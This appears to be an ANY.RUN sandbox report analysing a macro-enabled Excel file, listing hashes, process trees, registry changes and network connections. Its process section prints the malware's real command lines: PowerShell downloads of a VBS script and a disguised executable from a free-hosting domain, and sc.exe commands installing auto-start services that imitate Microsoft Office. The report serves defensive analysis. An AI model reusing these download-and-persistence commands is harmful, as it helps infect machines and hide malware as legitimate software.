Malware analysis 0b842ebeb65d74bdfd4e0d04dd9dabb2d3dac70e7f5471fb8fbabc60368b2868.xls Malicious activity

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File name:	0b842ebeb65d74bdfd4e0d04dd9dabb2d3dac70e7f5471fb8fbabc60368b2868.xls
Full analysis:	https://app.any.run/tasks/868e82cd-3c45-4305-a9b8-96429aee5f13
Verdict:	Malicious activity
Analysis date:	April 25, 2019, 07:24:40
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Gear Capitan, Last Saved By: Pentesting, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Mar 8 07:16:16 2019, Last Saved Time/Date: Fri Mar 8 08:30:22 2019, Security: 0
MD5:	11D675434F9AF160C74D43D9D2020EB9
SHA1:	F9D702DCE12B7FC6245F538C9CF7AFD0122C38E7
SHA256:	0B842EBEB65D74BDFD4E0D04DD9DABB2D3DAC70E7F5471FB8FBABC60368B2868
SSDEEP:	6144:DP+SKa85Y11//fs5cClfZw2gmVXqAMQO1WPz8aCLnhlO/QxexGFsiVjpLS:z12oRhYIV1S

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2184)
- Executes PowerShell scripts
  - cmd.exe (PID: 1344)
  - cmd.exe (PID: 4012)
- Executes scripts
  - EXCEL.EXE (PID: 2184)
- Changes settings of System certificates
  - powershell.exe (PID: 3640)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3640)
  - powershell.exe (PID: 2828)
- Starts CMD.EXE for commands execution
  - WScript.exe (PID: 2232)
- Adds / modifies Windows certificates
  - powershell.exe (PID: 3640)
- Starts SC.EXE for service management
  - cmd.exe (PID: 1344)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2184)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (48)
.xls	\|	Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author:	Gear Capitan
LastModifiedBy:	Pentesting
Software:	Microsoft Excel
CreateDate:	2019:03:08 07:16:16
ModifyDate:	2019:03:08 08:30:22
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	START
HeadingPairs:	Hojas de cálculo 1
CompObjUserTypeLen:	40
CompObjUserType:	Hoja de c?lculo de Microsoft Excel 2003

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1344

"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Af.bat

C:\Windows\System32\cmd.exe

WScript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows Command Processor

Exit code:

9009

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

1956

xcopy /b/v/y C:\Users\Public\OfficeUpdate.exe C:\Windows\system32\

C:\Windows\system32\xcopy.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Extended Copy Utility

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\xcopy.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll

2128

timeout 5

C:\Windows\system32\timeout.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

timeout - pauses command processing

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\timeout.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll

2184

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

2232

"C:\Windows\System32\WScript.exe" "C:\Users\Public\Af.vbs"

C:\Windows\System32\WScript.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft ® Windows Based Script Host

Exit code:

Version:

5.8.7600.16385

Modules

Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2452

SC.exe Create "Microsoft_Officex" binpath= "C:\Windows\system32\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Officex"

C:\Windows\system32\sc.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

A tool to aid in developing services for WindowsNT

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\sc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

2528

SC.exe Create "Microsoft_Office" binpath= "C:\Windows\SysWOW64\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Office"

C:\Windows\system32\sc.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

A tool to aid in developing services for WindowsNT

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\sc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

2828

powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/vbs.vbs','C:\Users\Public\vbs.vbs');

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3640

powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/OfficeUpdate.jpg','C:\Users\Public\OfficeUpdate.exe');

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

4012

cmd /c ""C:\Users\Public\Af2.bat" "

C:\Windows\System32\cmd.exe

—

WScript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

1 116

Read events

936

Write events

173

Delete events

Modification events


(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	m:9
Value: 6D3A390088080000010000000000000000000000
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 88080000E4D329FB37FBD40100000000
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	m:9
Value: 6D3A390088080000010000000000000000000000
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2184) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\113381
Operation:	write	Name:	113381
Value: 04000000880800006600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0030006200380034003200650062006500620036003500640037003400620064006600640034006500300064003000340064006400390064006100620062003200640033006400610063003700300065003700660035003400370031006600620038006600620061006200630036003000330036003800620032003800360038002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000010B25FFC37FBD401813311008133110000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2184	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR2ECD.tmp.cvr		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DMCVTHSLHVDNBTTIMDRA.temp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Cab3E2F.tmp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Tar3E30.tmp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Cab3E40.tmp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Tar3E41.tmp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Cab4017.tmp		—
		MD5:—	SHA256:—
2828	powershell.exe	C:\Users\admin\AppData\Local\Temp\Tar4018.tmp		—
		MD5:—	SHA256:—
3640	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UZ8916L5FR9CZY5KBY9J.temp		—
		MD5:—	SHA256:—
2184	EXCEL.EXE	C:\Users\Public\Af.vbs		text
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2828	powershell.exe	GET	200	8.248.123.254:80	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	US	compressed	55.6 Kb	whitelisted
2828	powershell.exe	GET	200	8.248.123.254:80	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt	US	der	914 b	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2828	powershell.exe	8.248.123.254:80	www.download.windowsupdate.com	Level 3 Communications, Inc.	US	unknown
2828	powershell.exe	145.14.144.129:443	zeroratchet.000webhostapp.com	Hostinger International Limited	US	shared
3640	powershell.exe	145.14.144.129:443	zeroratchet.000webhostapp.com	Hostinger International Limited	US	shared

DNS requests

Domain	IP	Reputation
zeroratchet.000webhostapp.com	145.14.144.129	shared
www.download.windowsupdate.com	8.248.123.254 67.27.235.254 8.253.204.120 67.27.159.254 8.248.129.254	whitelisted

Threats

PID	Process	Class	Message
1068	svchost.exe	Not Suspicious Traffic	ET INFO Observed Free Hosting Domain (*.000webhostapp .com in DNS Lookup)
2828	powershell.exe	Not Suspicious Traffic	ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com)
3640	powershell.exe	Not Suspicious Traffic	ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com)

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No debug info

General Info

0b842ebeb65d74bdfd4e0d04dd9dabb2d3dac70e7f5471fb8fbabc60368b2868.xls

11D675434F9AF160C74D43D9D2020EB9

F9D702DCE12B7FC6245F538C9CF7AFD0122C38E7

0B842EBEB65D74BDFD4E0D04DD9DABB2D3DAC70E7F5471FB8FBABC60368B2868

6144:DP+SKa85Y11//fs5cClfZw2gmVXqAMQO1WPz8aCLnhlO/QxexGFsiVjpLS:z12oRhYIV1S

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

Executes scripts

Changes settings of System certificates

SUSPICIOUS

Creates files in the user directory

Starts CMD.EXE for commands execution

Adds / modifies Windows certificates

Starts SC.EXE for service management

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings